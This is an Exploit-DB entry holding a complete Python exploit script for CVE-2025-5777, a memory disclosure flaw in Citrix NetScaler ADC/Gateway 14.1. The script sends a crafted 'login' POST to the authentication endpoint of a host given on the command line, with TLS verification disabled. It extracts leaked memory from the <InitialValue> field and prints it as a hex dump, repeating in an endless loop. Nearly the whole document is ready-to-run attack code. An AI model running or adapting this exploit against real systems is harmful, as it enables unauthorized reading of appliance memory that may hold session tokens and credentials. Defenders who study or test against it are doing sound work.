Exploit-DB #52401
Description: Citrix NetScaler ADC/Gateway 14.1 - Memory Disclosure
Type: remote
Platform: multiple
Date: 2025-08-11
Author: Yesith Alvarez

Exploit:
# Exploit Title: Citrix NetScaler ADC/Gateway 14.1 - Memory Disclosure
# Exploit Author: Yesith Alvarez
# Vendor Homepage: hhttps://support.citrix.com/support-home/kbsearch/article?articleNumber=CTX693420
# CVE: CVE-2025-5777
# Link: https://github.com/yealvarez/CVE/blob/main/CVE-2025-5777/exploit.py

import re
import sys
import warnings
import requests
from time import sleep
from requests.packages.urllib3.exceptions import InsecureRequestWarning


def title():
    print(r'''
  ______     _______     ____   ___ ____  ____       ____ _____ _____ _____ 
 / ___\ \   / / ____|   |___ \ / _ \___ \| ___|     | ___|___  |___  |___  |
| |    \ \ / /|  _| _____ __) | | | |__) |___ \ ____|___ \  / /   / /   / / 
| |___  \ V / | |__|_____/ __/| |_| / __/ ___) |_____|__) |/ /   / /   / /  
 \____|  \_/  |_____|   |_____|\___/_____|____/     |____//_/   /_/   /_/   
                                                        
[+] CitrixBleed - Memory Disclosure (Out-of-Bounds Read)
[+] Author: Yesith Alvarez
[+] Github: https://github.com/yealvarez
[+] Linkedin: https://www.linkedin.com/in/pentester-ethicalhacker/
[+] Code improvements: https://github.com/yealvarez/CVE/blob/main/CVE-2025-5777/exploit.py
    ''')


def print_hex(data: bytes):
    for i in range(0, len(data), 16):
        chunk = data[i:i+16]
        hex_part = " ".join(f"{b:02X}" for b in chunk)
        ascii_part = "".join(chr(b) if 32 <= b <= 126 else "." for b in chunk)
        print("{:08X}".format(i) + "  " + "{:<47}".format(hex_part) + "  " + ascii_part)

def extraction(blob: bytes) -> bytes | None:
    OpenInitialValue = "<InitialValue>".encode("utf-8")
    closenitialValue = "</InitialValue>".encode("utf-8")
    matched = "(.*?)".encode("utf-8")
    extract = re.compile(re.escape(OpenInitialValue) + matched  + re.escape(closenitialValue),flags=re.DOTALL | re.IGNORECASE)
    m = extract.search(blob)
    return None if m is None else m.group(1)


def exploit(target: str):
    url = "https://"+target+"/p/u/doAuthentication.do"
    
    headers = {
    "Content-Type": "application/x-www-form-urlencoded",
    "User-Agent": "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/138.0.0.0 Safari/537.36"
    }
        
    try:
        resp = requests.post(
            url,
            data="login".encode("utf-8"),
            headers=headers,
            timeout=15,
            verify=False,
        )
        resp.raise_for_status()
    except Exception as e:
        print("["+target+"] Error No Vulnerable: " + str(e))
        return

    binary = extraction(resp.content)
    if binary is None:
        print("["+target+"] Connection Error ")
        return
    print("\n[+] Captured "+str(len(binary))+" bytes from the Target ["+target+"]:\n")
    print_hex(binary)

if __name__ == '__main__':
    warnings.simplefilter("ignore", InsecureRequestWarning)
    title()
    if len(sys.argv) < 2:
        print('[+] USAGE: python3'+sys.argv[0]+' <target.host>\n')
        print('[+] Example: python3'+sys.argv[0]+' 10.10.10.10\n')
        sys.exit(0)
    else:
        target = sys.argv[1]
        try:
            while True:
                exploit(target)
               
        except KeyboardInterrupt:
            print("\n[+] Stopped by user.")